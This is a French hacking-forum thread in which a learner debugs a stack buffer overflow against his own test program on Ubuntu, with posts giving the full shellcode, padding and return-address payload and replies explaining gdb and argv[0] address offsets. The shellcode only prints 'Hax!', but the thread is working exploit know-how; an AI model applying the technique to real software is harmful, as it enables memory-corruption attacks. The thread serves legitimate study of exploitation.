• STATISTIQUES
  • Il y a eu un total de 2 membres et 11939 visiteurs sur le site dans les dernières 24h pour un total de 11 941 personnes!


    Membres: 2 433
    Discussions: 3 585
    Messages: 32 832
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] NewbieContest
    Nous vous proposons une série de challenges regroupant plusieurs domaines allant de l'exploitation de fail...
    Hacking
    [EN] Rosecode
    Programming: 36, Math: 29, Probability: 5, Sequence: 7, Crypto: 4, Brainf**k: 13, TimeRace: 4, Hack: 9
    Challenges
    [EN] Astalavista
    JavaScript: 1, Exploit: 2, Crypto: 34, CrackIt: 15, Stegano: 8, Programming: 12, Logic: 36, Special: 6, Science: 4, Info...
    Challenges
    [FR] PHP France
    Pour tout savoir sur le PHP, en français. Vous trouverez des tutoriels, des exemples, des astuces, toute la do...
    Hacking
    [EN] Rankk
    Site de challenge construit sur le principe d'une pyramide à 9 level. Level 1: 60,Level 2: 72,Level 3: 68,Lev...
    Challenges
    [EN] SecurityFocus
    SecurityFocus a été conçu pour faciliter la discussion sur des sujets liés la sécu...
    Vulnérabilités
    [EN] Reddit
    Subreddit dédié à la sécurité informatique.
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
demande de détail sur la sortie de mon buffer overflow
29-03-2016, 16h03 (Modification du message : 29-03-2016, 16h05 par Athar.)
Message : #1
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
demande de détail sur la sortie de mon buffer overflow
Bonjour j'étudie les buffer overflow et création de shellcode sur mon ubuntu 14.04 lts x86_64.
Je comprends les principes de la stack.
Voilà j'ai un tutoriel qu je suis actuellement, mais j'ai deux sortie différentes , l'un sous gdb , l'autre depuis un terminal classique.

Le but étant d'affiche le string du shellcode, " Hax! "

ASLR est à 0
Compilation:gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g

Je prend l'habitude de revérifié si la pile est exécutable (-zexecstack) par un
Code :
root@krihna:/home/krihna/buffer# execstack -q oldskool
X oldskool

Sous GDB:
Code :
(gdb) r $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Starting program: /home/krihna/buffer/oldskool $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!
Comme on peut le voir ça fonctionne.

Sous un terminal en root, j'obtiens une erreur, que je n'arrive pas à "gérer".

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"'`
Instruction non permise (core dumped)

et Non-root:
Code :
krihna@krihna:~/buffer$ Starting program: /home/krihna/buffer/oldskool $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Starting : commande introuvable
Comment vous pouvez le voir, même injection du shellcode.
J'ai aussi essayé de modifié le padding (si c'est bien le bon terme)"A"*27.
Si quelqu'un pouvais me mettre sur une piste.
Merci à vous.
+1 (0) -1 (0) Répondre
29-03-2016, 17h08 (Modification du message : 29-03-2016, 17h12 par Athar.)
Message : #2
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
https://wiki.ubuntu.com/Security/Features

En faite je pense que c'est normal, passe sous gdb, mais pas en mode normalement.
C'est ubuntu qui bloque par sécurité le lancement du prog.

Je veut dire par là, que c'est la méthode d'exploitation(très classique)qui pose problème.
+1 (0) -1 (0) Répondre
29-03-2016, 18h36
Message : #3
supersnail En ligne
Éleveur d'ornithorynques
*******



Messages : 1,614
Sujets : 72
Points: 466
Inscription : Jan 2012
RE: demande de détail sur la sortie de mon buffer overflow
Sinon ça peut être les adresses sur la stack faussées par gdb (qui rajoute ses propres variables d'environnement, provoquant un décalage dans les adresses), ou tout bêtement l'ASLR qui est laissé activé Smile
Mon blog

Code :
push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp

"VIM est merveilleux" © supersnail
+1 (1) -1 (0) Répondre
29-03-2016, 19h27
Message : #4
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
Merci pour cette réponse.
ALSR est bien désactivé.
Je penché aussi sur ta premier proposition, je pense que la variable est réutilisé, ce qui fausse la sortie.

J'ai l'idée de passé tout ça sous gdb, et en sortir un petit tutoriel.
+1 (0) -1 (0) Répondre
30-03-2016, 11h35 (Modification du message : 30-03-2016, 11h35 par gruik.)
Message : #5
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: demande de détail sur la sortie de mon buffer overflow
salut,

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c ...`
Instruction non permise (core dumped)
essaye en invoquant /home/krihna/buffer/oldskool au lieu de ./oldskool, argv[0] n'a pas la même taille dans les deux cas, ça peut créer un décalage
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure.
Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément.
(Nicolas Boileau, L'Art poétique)
+1 (2) -1 (0) Répondre
30-03-2016, 16h20
Message : #6
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
(30-03-2016, 11h35)gruik a écrit : salut,

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c ...`
Instruction non permise (core dumped)
essaye en invoquant /home/krihna/buffer/oldskool au lieu de ./oldskool, argv[0] n'a pas la même taille dans les deux cas, ça peut créer un décalage

Merci pour cette information fort utile pour ma part.
Fonctionne sous GDB.
terminal root:
Code :
root@krihna:/home/krihna/buffer# /home/krihna/buffer/test $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!root@krihna:/home/krihna/buffer#

et en non-root, j'ai du modifié le padding à "A" *13
Code :
krihna@krihna:~/buffer$ /home/krihna/buffer/test $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*13 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!krihna@krihna:~/buffer$

Merci encore à toi pour cette astuce.
Je vais essayé de comprendre le pourquoi du comment de tout ça, surtout sur ta méthode.
+1 (0) -1 (0) Répondre


Atteindre :


Utilisateur(s) parcourant ce sujet : 2 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut